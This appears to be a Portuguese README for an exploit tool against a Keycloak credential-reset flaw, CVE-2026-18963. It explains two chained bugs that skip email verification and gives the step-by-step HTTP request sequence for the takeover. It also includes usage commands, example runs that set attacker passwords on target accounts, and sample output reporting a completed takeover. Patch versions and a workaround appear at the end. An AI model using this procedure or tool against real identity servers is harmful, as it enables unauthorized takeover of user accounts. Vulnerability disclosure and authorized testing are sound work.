
Exploit para CVE-2026-18963, uma tomada de conta crítica não autenticada no fluxo de redefinição de credenciais do Keycloak, encadeando duas falhas para contornar a verificação de e-mail e definir uma nova senha.
CVSS 9.1 Crítico · Keycloak 26.0.0 – 26.7.1 · Não Autenticado
Uma vulnerabilidade crítica no fluxo de redefinição de credenciais do Keycloak que permite a um atacante não autenticado assumir qualquer conta de usuário sem verificação de e-mail, encadeando duas falhas no gerenciamento de sessão de autenticação.
| Campo | Valor |
|---|
| CVE | CVE-2026-18963 |
| Pontuação CVSS | 9.1 (Crítico) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-640 — Mecanismo Fraco de Recuperação de Senha |
| Afetados | Keycloak 26.0.0 – 26.7.1 |
| Corrigido | 26.4.15 / 26.6.6 / 26.7.2 / 26.8.0 |
| Componente | keycloak-services (fluxo de redefinição de credenciais) |
| Referência | https://github.com/keycloak/keycloak/issues/51833 |
Duas falhas são encadeadas:
Falha 1 — O manipulador tryAnotherWay armazena a nota
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" na sessão de autenticação sem associá-la a nenhum ID de execução.
Falha 2 — ResetCredentialEmail.action() chama context.success() (ignorando completamente a verificação de e-mail) sempre que essa nota está presente, sem verificar ACTION_TOKEN_USER_ID.
1. GET /realms/{realm}/protocol/openid-connect/auth
→ Estabelece sessão OIDC, extrai link de esqueci minha senha
2. GET /login-actions/reset-credentials?...
→ Carrega o formulário de redefinição de credenciais
3. POST tryAnotherWay=on
→ Define a nota AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED (Falha 1)
4. POST username={alvo} → formulário do seletor
→ Vincula o usuário alvo à sessão de autenticação, aciona a etapa de e-mail
5. GET /login-actions/restart?...
→ Opcional: espelha a sondagem da sessão do navegador
6. GET /login-actions/reset-credentials?... (mesma URL da etapa 2)
→ A nota obsoleta do seletor ainda está presente → o seletor de credenciais reaparece
7. POST username={alvo} → seletor obsoleto
→ ResetCredentialEmail vê a nota, chama context.success() (Falha 2)
→ O fluxo avança diretamente para UPDATE_PASSWORD — nenhum e-mail é enviado
8. POST password-new={senha_do_atacante}
→ Conta assumida
python3 -m pip install requests
python3 exploit_cve_2026_18963.py \
--url https://target.com \
--realm master \
--username [email protected] \
--new-password NewPass123!
--url URL base do Keycloak (obrigatório)
--realm Realm alvo (padrão: master)
--username Nome de usuário ou e-mail da conta a ser assumida (obrigatório)
--new-password Senha a ser definida na conta alvo (obrigatório)
--client-id ID do cliente OIDC (padrão: account)
--auth-prefix auto | new | old
auto = detectar automaticamente (padrão)
new = /realms/... (Keycloak >= 17)
old = /auth/realms/... (Keycloak < 17)
-v, --verbose Exibir rastreamento HTTP completo
--skip-version-check
# Detecção automática do prefixo de URL antigo/novo do Keycloak
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026!
# Forçar prefixo legado /auth/ (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
--auth-prefix old
# Rastreamento HTTP detalhado
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
-v
CVE-2026-18963 | Keycloak Unauthenticated Account Takeover
User : [email protected]
[Step 0] Detecting version & path prefix
[+] Path prefix: '/auth' → detected
[?] Version not detected — proceeding anyway.
Target : https://sso.example.com/auth/realms/myrealm
[Step 1] Open reset-credentials form via OIDC forgot-password link
[+] OIDC session established
[+] Reset-credentials form loaded
[Step 2] POST tryAnotherWay=on → set selector note (Bug 1)
[+] Credential selector form received
[Step 3] POST username='[email protected]' → bind user, trigger email step
[+] Email step triggered — session polling URL found
[Step 4] GET session polling path (optional)
[Step 5] Re-visit forgot-password URL → get stale selector
[+] Stale credential selector form received
[Step 6] POST username to stale selector → trigger bypass (Bug 2)
[+] BYPASS SUCCESSFUL — update-password form received
[Step 7] Set new password
============================================================
[+] SUCCESS — Account Takeover Complete
[+] Target : https://sso.example.com/auth/realms/myrealm
[+] User : [email protected]
[+] Password : Pwn3d2026!
============================================================
| Versão do Keycloak | Prefixo de URL | Vulnerável |
|---|---|---|
| < 17.x | /auth/realms/ | ✅ se na faixa 26.x |
| ≥ 17.x | /realms/ | ✅ se < 26.7.2 |
| 26.4.15+ / 26.6.6+ / 26.7.2+ / 26.8.0+ | qualquer | ❌ Corrigido |
O script detecta automaticamente se o alvo usa o prefixo legado /auth/ ou o caminho moderno, funcionando tanto em implantações antigas quanto novas sem configuração manual.
Correção (recomendada): Atualize para uma das versões corrigidas:
26.4.15 ou posterior na linha 26.4.x26.6.6 ou posterior na linha 26.6.x26.7.2 ou posterior na linha 26.7.x26.8.0 ou posteriorSolução temporária: Desative Esqueci Minha Senha em todos os realms:
Realm Settings → Login → Forgot Password → OFF
Esta ferramenta destina-se exclusivamente a testes de segurança autorizados e fins educacionais. Use apenas contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar.